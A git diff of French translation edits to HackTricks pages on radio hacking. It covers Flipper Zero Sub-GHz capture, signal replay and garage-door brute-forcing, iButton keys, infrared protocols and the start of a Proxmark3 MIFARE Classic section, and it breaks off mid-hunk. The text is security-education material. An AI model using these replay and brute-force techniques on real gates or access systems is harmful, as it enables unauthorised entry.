## Actions -### Analyseur de Fréquence +### Analyseur de fréquence {% hint style="info" %} -Comment trouver quelle fréquence la télécommande utilise +Comment trouver quelle fréquence utilise la télécommande {% endhint %} Lors de l'analyse, Flipper Zero scanne la force des signaux (RSSI) à toutes les fréquences disponibles dans la configuration de fréquence. Flipper Zero affiche la fréquence avec la valeur RSSI la plus élevée, avec une force de signal supérieure à -90 [dBm](https://en.wikipedia.org/wiki/DBm). -Pour déterminer la fréquence de la télécommande, procédez comme suit : +Pour déterminer la fréquence de la télécommande, suivez ces étapes : -1. Placez la télécommande très près de la gauche du Flipper Zero. -2. Allez dans **Menu Principal** **→ Sub-GHz**. -3. Sélectionnez **Analyseur de Fréquence**, puis appuyez et maintenez le bouton de la télécommande que vous souhaitez analyser. -4. Vérifiez la valeur de la fréquence sur l'écran. +1. Placez la télécommande très près à gauche de Flipper Zero. +2. Allez dans **Menu principal** **→ Sub-GHz**. +3. Sélectionnez **Analyseur de fréquence**, puis appuyez et maintenez le bouton de la télécommande que vous souhaitez analyser. +4. Consultez la valeur de fréquence à l'écran. ### Lire {% hint style="info" %} -Trouver des informations sur la fréquence utilisée (également une autre façon de trouver quelle fréquence est utilisée) +Trouver des informations sur la fréquence utilisée (également un autre moyen de trouver quelle fréquence est utilisée) {% endhint %} -L'option **Lire** **écoute sur la fréquence configurée** sur la modulation indiquée : 433.92 AM par défaut. Si **quelque chose est trouvé** lors de la lecture, **des informations sont données** à l'écran. Ces informations pourraient être utilisées pour répliquer le signal à l'avenir. +L'option **Lire** **écoute sur la fréquence configurée** sur la modulation indiquée : 433,92 AM par défaut. Si **quelque chose est trouvé** lors de la lecture, **des informations sont affichées** à l'écran. Ces informations peuvent être utilisées pour reproduire le signal à l'avenir. -Pendant l'utilisation de Lire, il est possible d'appuyer sur le **bouton gauche** et de **le configurer**.\ -À ce moment, il a **4 modulations** (AM270, AM650, FM328 et FM476), et **plusieurs fréquences pertinentes** enregistrées : +Pendant l'utilisation de la fonction Lire, il est possible d'appuyer sur le **bouton gauche** et de le **configurer**.\ +À ce moment, il y a **4 modulations** (AM270, AM650, FM328 et FM476), et **plusieurs fréquences pertinentes** sont stockées :
-Vous pouvez définir **celle qui vous intéresse**, cependant, si vous **n'êtes pas sûr de la fréquence** qui pourrait être celle utilisée par la télécommande que vous avez, **mettez Hopping sur ON** (Off par défaut), et appuyez plusieurs fois sur le bouton jusqu'à ce que Flipper la capture et vous donne les informations dont vous avez besoin pour régler la fréquence. +Vous pouvez définir **celle qui vous intéresse**, cependant, si vous **n'êtes pas sûr de la fréquence** qui pourrait être utilisée par la télécommande que vous avez, **activez le saut à ON** (désactivé par défaut), et appuyez sur le bouton plusieurs fois jusqu'à ce que Flipper la capture et vous donne les informations nécessaires pour définir la fréquence. {% hint style="danger" %} -Le changement entre les fréquences prend du temps, donc les signaux transmis au moment du changement peuvent être manqués. Pour une meilleure réception du signal, réglez une fréquence fixe déterminée par l'Analyseur de Fréquence. +Le passage d'une fréquence à une autre prend du temps, donc les signaux transmis au moment du changement peuvent être manqués. Pour une meilleure réception du signal, définissez une fréquence fixe déterminée par l'Analyseur de fréquence. {% endhint %} -### **Lire Brut** +### **Lire brut** {% hint style="info" %} -Vol (et replay) d'un signal sur la fréquence configurée +Vol (et relecture) d'un signal dans la fréquence configurée {% endhint %} -L'option **Lire Brut** **enregistre les signaux** envoyés sur la fréquence d'écoute. Cela peut être utilisé pour **voler** un signal et le **répéter**. +L'option **Lire brut** **enregistre les signaux** envoyés à la fréquence d'écoute. Cela peut être utilisé pour **voler** un signal et le **répéter**. -Par défaut **Lire Brut est aussi en 433.92 en AM650**, mais si avec l'option Lire vous avez trouvé que le signal qui vous intéresse est sur une **fréquence/modulation différente, vous pouvez également modifier cela** en appuyant à gauche (tout en étant dans l'option Lire Brut). +Par défaut, **Lire brut est également à 433,92 en AM650**, mais si avec l'option Lire vous avez trouvé que le signal qui vous intéresse est dans une **fréquence/modulation différente, vous pouvez également la modifier** en appuyant sur gauche (pendant que vous êtes dans l'option Lire brut). ### Brute-Force -Si vous connaissez le protocole utilisé par exemple par la porte de garage, il est possible de **générer tous les codes et de les envoyer avec le Flipper Zero.** Voici un exemple qui prend en charge les types généraux de garages courants : [**https://github.com/tobiabocchi/flipperzero-bruteforce**](https://github.com/tobiabocchi/flipperzero-bruteforce)\*\*\*\* +Si vous connaissez le protocole utilisé par exemple par la porte de garage, il est possible de **générer tous les codes et de les envoyer avec le Flipper Zero**. Voici un exemple qui prend en charge les types de garages courants : [**https://github.com/tobiabocchi/flipperzero-bruteforce**](https://github.com/tobiabocchi/flipperzero-bruteforce)\*\*\*\* -### Ajouter Manuellement +### Ajouter manuellement {% hint style="info" %} -Ajouter des signaux à partir d'une liste configurée de protocoles +Ajouter des signaux à une liste configurée de protocoles {% endhint %} #### Liste des [protocoles pris en charge](https://docs.flipperzero.one/sub-ghz/add-new-remote) -| Princeton\_433 (fonctionne avec la majorité des systèmes à code statique) | 433.92 | Statique | -| ------------------------------------------------------------------------ | ------ | -------- | -| Nice Flo 12bit\_433 | 433.92 | Statique | -| Nice Flo 24bit\_433 | 433.92 | Statique | -| CAME 12bit\_433 | 433.92 | Statique | -| CAME 24bit\_433 | 433.92 | Statique | -| Linear\_300 | 300.00 | Statique | -| CAME TWEE | 433.92 | Statique | -| Gate TX\_433 | 433.92 | Statique | -| DoorHan\_315 | 315.00 | Dynamique| -| DoorHan\_433 | 433.92 | Dynamique| -| LiftMaster\_315 | 315.00 | Dynamique| -| LiftMaster\_390 | 390.00 | Dynamique| -| Security+2.0\_310 | 310.00 | Dynamique| -| Security+2.0\_315 | 315.00 | Dynamique| -| Security+2.0\_390 | 390.00 | Dynamique| +| Princeton\_433 (fonctionne avec la majorité des systèmes de codes statiques) | 433,92 | Statique | +| --------------------------------------------------------------- | ------ | ------- | +| Nice Flo 12bit\_433 | 433,92 | Statique | +| Nice Flo 24bit\_433 | 433,92 | Statique | +| CAME 12bit\_433 | 433,92 | Statique | +| CAME 24bit\_433 | 433,92 | Statique | +| Linear\_300 | 300,00 | Statique | +| CAME TWEE | 433,92 | Statique | +| Gate TX\_433 | 433,92 | Statique | +| DoorHan\_315 | 315,00 | Dynamique | +| DoorHan\_433 | 433,92 | Dynamique | +| LiftMaster\_315 | 315,00 | Dynamique | +| LiftMaster\_390 | 390,00 | Dynamique | +| Security+2.0\_310 | 310,00 | Dynamique | +| Security+2.0\_315 | 315,00 | Dynamique | +| Security+2.0\_390 | 390,00 | Dynamique | -### Fournisseurs Sub-GHz pris en charge +### Vendeurs Sub-GHz pris en charge Consultez la liste sur [https://docs.flipperzero.one/sub-ghz/supported-vendors](https://docs.flipperzero.one/sub-ghz/supported-vendors) @@ -129,21 +129,21 @@ Obtenez les dBm des fréquences enregistrées
-Trouvez les vulnérabilités les plus importantes pour les corriger plus rapidement. Intruder suit votre surface d'attaque, effectue des scans de menaces proactifs, trouve des problèmes dans toute votre pile technologique, des API aux applications web et systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) aujourd'hui. +Trouvez les vulnérabilités les plus importantes afin de pouvoir les corriger plus rapidement. Intruder suit votre surface d'attaque, lance des analyses de menaces proactives, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) aujourd'hui. {% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
-Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
diff --git a/todo/radio-hacking/ibutton.md b/todo/radio-hacking/ibutton.md index 9443c0143..b9d8a75dc 100644 --- a/todo/radio-hacking/ibutton.md +++ b/todo/radio-hacking/ibutton.md @@ -2,41 +2,41 @@
-Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
-## Intro +## Introduction -iButton est un nom générique pour une clé d'identification électronique emballée dans un **conteneur métallique en forme de pièce**. On l'appelle aussi **Dallas Touch** Memory ou mémoire de contact. Bien qu'il soit souvent à tort désigné comme une clé "magnétique", il n'y a **rien de magnétique** dedans. En fait, une **micro-puce** complète fonctionnant sur un protocole numérique est cachée à l'intérieur. +iButton est un nom générique pour une clé d'identification électronique emballée dans un **conteneur métallique en forme de pièce de monnaie**. Il est également appelé **Mémoire tactile Dallas** ou mémoire de contact. Bien qu'il soit souvent incorrectement appelé une clé "magnétique", il n'y a **rien de magnétique** en lui. En fait, une puce électronique complète fonctionnant sur un protocole numérique est cachée à l'intérieur.
-### Qu'est-ce que iButton ? +### Qu'est-ce que iButton? -Généralement, iButton implique la forme physique de la clé et du lecteur - une pièce ronde avec deux contacts. Pour le cadre qui l'entoure, il existe de nombreuses variations, de la plus courante, un support en plastique avec un trou, à des anneaux, pendentifs, etc. +Généralement, iButton implique la forme physique de la clé et du lecteur - une pièce ronde avec deux contacts. Pour le cadre qui l'entoure, il existe de nombreuses variations allant du support en plastique le plus courant avec un trou aux bagues, pendentifs, etc.
-Lorsque la clé atteint le lecteur, les **contacts se touchent** et la clé est alimentée pour **transmettre** son ID. Parfois, la clé n'est **pas lue** immédiatement parce que le **PSD de contact d'un interphone est plus grand** qu'il ne devrait l'être. Ainsi, les contours extérieurs de la clé et du lecteur ne pouvaient pas se toucher. Si c'est le cas, vous devrez appuyer la clé contre l'une des parois du lecteur. +Lorsque la clé atteint le lecteur, les **contacts se touchent** et la clé est alimentée pour **transmettre** son ID. Parfois, la clé n'est **pas lue** immédiatement car le **PSD de contact d'un interphone est plus grand** qu'il ne devrait l'être. Dans ce cas, vous devrez appuyer sur la clé sur l'une des parois du lecteur.
### **Protocole 1-Wire** -Les clés Dallas échangent des données en utilisant le protocole 1-Wire. Avec seulement un contact pour le transfert de données (!!) dans les deux directions, du maître à l'esclave et vice versa. Le protocole 1-Wire fonctionne selon le modèle Maître-Esclave. Dans cette topologie, le Maître initie toujours la communication et l'Esclave suit ses instructions. +Les clés Dallas échangent des données en utilisant le protocole 1-Wire. Avec un seul contact pour le transfert de données (!!) dans les deux sens, du maître à l'esclave et vice versa. Le protocole 1-Wire fonctionne selon le modèle Maître-Esclave. Dans cette topologie, le Maître initie toujours la communication et l'Esclave suit ses instructions. -Lorsque la clé (Esclave) entre en contact avec l'interphone (Maître), la puce à l'intérieur de la clé s'allume, alimentée par l'interphone, et la clé est initialisée. Ensuite, l'interphone demande l'ID de la clé. Nous examinerons ce processus plus en détail par la suite. +Lorsque la clé (Esclave) entre en contact avec l'interphone (Maître), la puce à l'intérieur de la clé s'allume, alimentée par l'interphone, et la clé est initialisée. Ensuite, l'interphone demande l'ID de la clé. Ensuite, nous examinerons ce processus plus en détail. -Flipper peut fonctionner à la fois en modes Maître et Esclave. En mode lecture de clé, Flipper agit comme un lecteur, c'est-à-dire qu'il fonctionne comme un Maître. Et en mode émulation de clé, le flipper prétend être une clé, il est en mode Esclave. +Le Flipper peut fonctionner à la fois en mode Maître et Esclave. En mode lecture de clé, le Flipper agit en tant que lecteur, c'est-à-dire qu'il fonctionne en tant que Maître. Et en mode émulation de clé, le Flipper prétend être une clé, il est en mode Esclave. ### Clés Dallas, Cyfral & Metakom @@ -53,17 +53,3 @@ Les iButtons peuvent être attaqués avec Flipper Zero : ## Références * [https://blog.flipperzero.one/taming-ibutton/](https://blog.flipperzero.one/taming-ibutton/) - -
- -Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! - -Autres moyens de soutenir HackTricks : - -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). - -
diff --git a/todo/radio-hacking/infrared.md b/todo/radio-hacking/infrared.md index 7a5e9eacc..c1ef79abd 100644 --- a/todo/radio-hacking/infrared.md +++ b/todo/radio-hacking/infrared.md @@ -2,86 +2,86 @@
-Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de piratage en soumettant des PRs aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
-## Fonctionnement de l'Infrarouge +## Fonctionnement de l'infrarouge -**La lumière infrarouge est invisible pour les humains**. La longueur d'onde IR est de **0,7 à 1000 microns**. Les télécommandes domestiques utilisent un signal IR pour la transmission de données et fonctionnent dans la plage de longueur d'onde de 0,75..1,4 microns. Un microcontrôleur dans la télécommande fait clignoter une LED infrarouge avec une fréquence spécifique, transformant le signal numérique en signal IR. +**La lumière infrarouge est invisible pour les humains**. La longueur d'onde de l'infrarouge va de **0,7 à 1000 microns**. Les télécommandes domestiques utilisent un signal infrarouge pour la transmission de données et fonctionnent dans la plage de longueurs d'onde de 0,75 à 1,4 microns. Un microcontrôleur dans la télécommande fait clignoter une LED infrarouge avec une fréquence spécifique, transformant le signal numérique en signal infrarouge. -Pour recevoir des signaux IR, un **photoreceiver** est utilisé. Il **convertit la lumière IR en impulsions de tension**, qui sont déjà des **signaux numériques**. Habituellement, il y a un **filtre de lumière sombre à l'intérieur du récepteur**, qui laisse **passer uniquement la longueur d'onde souhaitée** et élimine le bruit. +Pour recevoir les signaux infrarouges, un **photorécepteur** est utilisé. Il **convertit la lumière infrarouge en impulsions de tension**, qui sont déjà des **signaux numériques**. Habituellement, il y a un **filtre de lumière sombre à l'intérieur du récepteur**, qui laisse passer **uniquement la longueur d'onde désirée** et élimine le bruit. -### Variété de protocoles IR +### Variété de protocoles infrarouges -Les protocoles IR diffèrent selon 3 facteurs : +Les protocoles infrarouges diffèrent selon 3 facteurs : -* codage des bits +* encodage des bits * structure des données -* fréquence porteuse — souvent dans la plage 36..38 kHz +* fréquence porteuse — souvent dans la plage de 36 à 38 kHz -#### Méthodes de codage des bits +#### Méthodes d'encodage des bits -**1. Codage par Distance d'Impulsion** +**1. Encodage de la distance d'impulsion** -Les bits sont codés en modulant la durée de l'espace entre les impulsions. La largeur de l'impulsion elle-même est constante. +Les bits sont encodés en modulant la durée de l'espace entre les impulsions. La largeur de l'impulsion elle-même est constante.
-**2. Codage par Largeur d'Impulsion** +**2. Encodage de la largeur d'impulsion** -Les bits sont codés par modulation de la largeur de l'impulsion. La largeur de l'espace après la salve d'impulsion est constante. +Les bits sont encodés en modulant la largeur de l'impulsion. La largeur de l'espace après l'impulsion est constante.
-**3. Codage de Phase** +**3. Encodage de phase** -Il est également connu sous le nom de codage Manchester. La valeur logique est définie par la polarité de la transition entre la salve d'impulsion et l'espace. "Espace à salve d'impulsion" indique logique "0", "salve d'impulsion à espace" indique logique "1". +Il est également connu sous le nom d'encodage Manchester. La valeur logique est définie par la polarité de la transition entre l'impulsion et l'espace. "Espace vers impulsion" représente la logique "0", "impulsion vers espace" représente la logique "1".
-**4. Combinaison des précédentes et autres exotiques** +**4. Combinaison des précédents et autres exotiques** {% hint style="info" %} -Il existe des protocoles IR qui **tentent de devenir universels** pour plusieurs types d'appareils. Les plus célèbres sont RC5 et NEC. Malheureusement, le plus célèbre **ne signifie pas le plus commun**. Dans mon environnement, j'ai rencontré juste deux télécommandes NEC et aucune RC5. +Il existe des protocoles infrarouges qui **tentent de devenir universels** pour plusieurs types d'appareils. Les plus célèbres sont RC5 et NEC. Malheureusement, les plus célèbres **ne signifient pas les plus courants**. Dans mon environnement, j'ai rencontré seulement deux télécommandes NEC et aucune télécommande RC5. -Les fabricants aiment utiliser leurs propres protocoles IR uniques, même au sein de la même gamme d'appareils (par exemple, les boîtiers TV). Par conséquent, les télécommandes de différentes entreprises et parfois de différents modèles de la même entreprise, ne peuvent pas fonctionner avec d'autres appareils du même type. +Les fabricants aiment utiliser leurs propres protocoles infrarouges uniques, même au sein de la même gamme d'appareils (par exemple, les décodeurs TV). Par conséquent, les télécommandes de différentes entreprises et parfois de différents modèles de la même entreprise, ne peuvent pas fonctionner avec d'autres appareils du même type. {% endhint %} -### Exploration d'un signal IR +### Exploration d'un signal infrarouge -La manière la plus fiable de voir à quoi ressemble le signal IR d'une télécommande est d'utiliser un oscilloscope. Il ne démodule ni n'inverse le signal reçu, il est simplement affiché "tel quel". Cela est utile pour les tests et le débogage. Je vais montrer le signal attendu sur l'exemple du protocole IR NEC. +La manière la plus fiable de voir à quoi ressemble le signal infrarouge de la télécommande est d'utiliser un oscilloscope. Il ne démodule ni n'inverse le signal reçu, il est simplement affiché "tel quel". Cela est utile pour les tests et le débogage. Je montrerai le signal attendu sur l'exemple du protocole infrarouge NEC.
-Habituellement, il y a un préambule au début d'un paquet codé. Cela permet au récepteur de déterminer le niveau de gain et de fond. Il existe également des protocoles sans préambule, par exemple Sharp. +Généralement, il y a un préambule au début d'un paquet encodé. Cela permet au récepteur de déterminer le niveau de gain et l'arrière-plan. Il existe également des protocoles sans préambule, par exemple, Sharp. -Ensuite, les données sont transmises. La structure, le préambule et la méthode de codage des bits sont déterminés par le protocole spécifique. +Ensuite, les données sont transmises. La structure, le préambule et la méthode d'encodage des bits sont déterminés par le protocole spécifique. -Le **protocole IR NEC** contient une commande courte et un code de répétition, qui est envoyé tant que le bouton est pressé. La commande et le code de répétition ont le même préambule au début. +Le protocole infrarouge **NEC** contient une commande courte et un code de répétition, qui est envoyé lorsque le bouton est enfoncé. Tant la commande que le code de répétition ont le même préambule au début. -La **commande NEC**, en plus du préambule, se compose d'un octet d'adresse et d'un octet de numéro de commande, par lesquels l'appareil comprend ce qui doit être effectué. Les octets d'adresse et de numéro de commande sont dupliqués avec des valeurs inversées, pour vérifier l'intégrité de la transmission. Il y a un bit d'arrêt supplémentaire à la fin de la commande. +La **commande NEC**, en plus du préambule, se compose d'un octet d'adresse et d'un octet de numéro de commande, par lesquels l'appareil comprend ce qui doit être effectué. Les octets d'adresse et de numéro de commande sont dupliqués avec des valeurs inverses, pour vérifier l'intégrité de la transmission. Il y a un bit d'arrêt supplémentaire à la fin de la commande. Le **code de répétition** a un "1" après le préambule, qui est un bit d'arrêt. -Pour **logique "0" et "1"** NEC utilise le Codage par Distance d'Impulsion : d'abord, une salve d'impulsion est transmise après quoi il y a une pause, sa longueur définit la valeur du bit. +Pour les logiques "0" et "1", NEC utilise l'Encodage de la Distance d'Impulsion : d'abord, une rafale d'impulsions est transmise, après quoi il y a une pause, sa longueur définit la valeur du bit. ### Climatiseurs Contrairement aux autres télécommandes, **les climatiseurs ne transmettent pas seulement le code du bouton pressé**. Ils **transmettent également toutes les informations** lorsqu'un bouton est pressé pour s'assurer que la **machine climatisée et la télécommande sont synchronisées**.\ -Cela évitera qu'une machine réglée à 20ºC soit augmentée à 21ºC avec une télécommande, puis lorsqu'une autre télécommande, qui a toujours la température à 20ºC, est utilisée pour augmenter davantage la température, elle l'"augmentera" à 21ºC (et non à 22ºC en pensant qu'elle est à 21ºC). +Cela évitera qu'une machine réglée à 20ºC ne soit augmentée à 21ºC avec une télécommande, puis qu'une autre télécommande, qui a toujours la température à 20ºC, soit utilisée pour augmenter davantage la température, elle "l'augmentera" à 21ºC (et non à 22ºC en pensant qu'elle est à 21ºC). ### Attaques -Vous pouvez attaquer l'Infrarouge avec Flipper Zero : +Vous pouvez attaquer l'infrarouge avec Flipper Zero : {% content-ref url="flipper-zero/fz-infrared.md" %} [fz-infrared.md](flipper-zero/fz-infrared.md) @@ -93,14 +93,14 @@ Vous pouvez attaquer l'Infrarouge avec Flipper Zero :
-Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de piratage en soumettant des PRs aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
diff --git a/todo/radio-hacking/proxmark-3.md b/todo/radio-hacking/proxmark-3.md index 251d89764..084632892 100644 --- a/todo/radio-hacking/proxmark-3.md +++ b/todo/radio-hacking/proxmark-3.md @@ -2,19 +2,19 @@
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! -* Travaillez-vous dans une **entreprise de cybersécurité**? Vous souhaitez voir votre **entreprise annoncée dans HackTricks**? ou souhaitez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). +* **Partagez vos astuces de piratage en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
-Trouvez les vulnérabilités les plus importantes afin de pouvoir les corriger plus rapidement. Intruder suit votre surface d'attaque, lance des analyses de menaces proactives, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) aujourd'hui. +Trouvez les vulnérabilités les plus importantes afin de les corriger plus rapidement. Intruder suit votre surface d'attaque, lance des analyses de menaces proactives, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) aujourd'hui. {% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %} @@ -24,7 +24,7 @@ Trouvez les vulnérabilités les plus importantes afin de pouvoir les corriger p La première chose à faire est d'avoir un [**Proxmark3**](https://proxmark.com) et [**d'installer le logiciel et ses dépendances**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)[**s**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux). -### Attaquer les MIFARE Classic 1KB +### Attaquer MIFARE Classic 1KB Il a **16 secteurs**, chacun ayant **4 blocs** et chaque bloc contient **16B**. L'UID se trouve dans le secteur 0 bloc 0 (et ne peut pas être modifié).\ Pour accéder à chaque secteur, vous avez besoin de **2 clés** (**A** et **B**) qui sont stockées dans **le bloc 3 de chaque secteur** (secteur de verrouillage). Le secteur de verrouillage stocke également les **bits d'accès** qui donnent les autorisations de **lecture et d'écriture** sur **chaque bloc** en utilisant les 2 clés.\ @@ 